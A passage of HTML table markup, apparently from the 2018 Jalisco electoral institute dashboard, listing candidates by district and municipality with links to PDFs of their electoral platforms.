mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"378\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">VARAZ DE VALDEZ GONZ\u00c1LEZ OTONIEL<\/p>\n<\/td>\n<td style=\"width: 170.35pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"227\">\n<p style=\"margin-bottom: .0001pt; line-height: normal;\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/14.-00325-VARAZ-DE-VALDEZ-GONZALEZ-OTONIEL-D14.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/p>\n<\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 18; mso-yfti-lastrow: yes; height: 15.75pt;\">\n<td style=\"width: 184.05pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"245\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">19<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"378\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">RAMOS L\u00d3PEZ OSWALDO<\/p>\n<\/td>\n<td style=\"width: 170.35pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"227\">\n<p style=\"margin-bottom: .0001pt; line-height: normal;\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/6.-00309-RAMOS-LOPEZ-OSWALDO-D19.pdf\"><img loading=\"lazy\" decoding=\"async\" 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#8031A7; padding: 0cm 3.5pt 0cm 3.5pt; height: 17.15pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: normal;\" align=\"center\"><b>NOMBRE<\/b><\/p>\n<\/td>\n<td style=\"width: 6.0cm; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-left: none; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; background: #8031A7; padding: 0cm 3.5pt 0cm 3.5pt; height: 17.15pt;\" width=\"227\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: normal;\" align=\"center\"><b>PLATAFORMA<\/b><\/p>\n<\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 1; height: 14.0pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 14.0pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">ACATL\u00c1N DE JU\u00c1REZ<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 14.0pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">JOS\u00c9 ARTURO ORTIZ RODR\u00cdGUEZ<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 14.0pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/16.-02465-JOSE-ARTURO-ORTIZ-RODRIGUEZ-ACATLAN-DE-JUAREZ.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 2; height: 15.75pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">ACATL\u00c1N DE JU\u00c1REZ<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">SIERRA CABRERA RAM\u00d3N<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/36.-04754-SIERRA-CABRERA-RAMON-ACATLAN-DE-JUAREZ.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 3; height: 15.9pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.9pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">ARANDAS<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 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href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/33.-04568-ROBLES-MEDINA-RAUL-JESUS-ARANDAS.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 5; height: 11.35pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 11.35pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">ATOTONILCO EL ALTO<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 11.35pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">CARLOS ALBERTO ROMO HERN\u00c1NDEZ<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 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NAVARRO<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 13.1pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">P\u00c9REZ CABRERA V\u00cdCTOR MANUEL<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; 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padding: 0cm 3.5pt 0cm 3.5pt; height: 10.5pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">CHAPALA<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 10.5pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">JUAN DIEGO CASTRO MORALES<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 10.5pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/19.-03268-JUAN-DIEGO-CASTRO-MORALES-CHAPALA.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 8; height: 11.4pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 11.4pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">CIHUATLAN<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 11.4pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">BECERRA BARRAG\u00c1N MAR\u00cdA GUADALUPE<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 11.4pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/27.-5744-BECERRA-BARRAGAN-MARIA-GUADALUPE-CIHUATLAN.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 9; height: 15.75pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">COCULA<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">ARNULFO TRUJILLO L\u00d3PEZ<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/4.-00985-ARNULFO-TRUJILLO-LOPEZ-COCULA.pdf\"><img loading=\"lazy\" decoding=\"async\" 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href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/8.-03707-FRANCISACO-GANDARA-CARDENAS-COLOTLAN.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 11; height: 15.75pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">ETZATLAN<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">IGNACIO T\u00c9LLEZ GONZ\u00c1LEZ<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 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style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 8.05pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">JOS\u00c9 NICOL\u00c1S CERDA PACHECO<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; 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width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">LAGOS DE MORENO<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 13.3pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">JOS\u00c9 LUIS GONZ\u00c1LEZ GONZ\u00c1LEZ<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; 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style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/23.-01016-RAZURA-PRECIADO-JOEL-LAGOS-DE-MORENO.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 15; height: 15.75pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">MAGDALENA<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">RUIZ RUBIO MA. DE LA LUZ &#8211;<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/28.-01474-RUIZ-RUBIO-MA.-DE-LA-LUZ-MAGDALENA.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 16; height: 13.3pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 13.3pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">OCOTL\u00c1N<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 13.3pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">OCHOA REGALADO ROSA MAR\u00cdA<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 13.3pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/34.-02253-OCHOA-REGALADO-ROSA-MARIA-OCOTLAN.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 17; height: 10.75pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 10.75pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">PONCITLAN<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 10.75pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">VALDEZ OCEGUEDA MA DEL SOCORRO<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 10.75pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/30.-03023-VALDEZ-OCEGUEDA-MA-DEL-SOCORRO-PONCITLAN.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 18; height: 15.9pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.9pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">PUERTO VALLARTA<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; 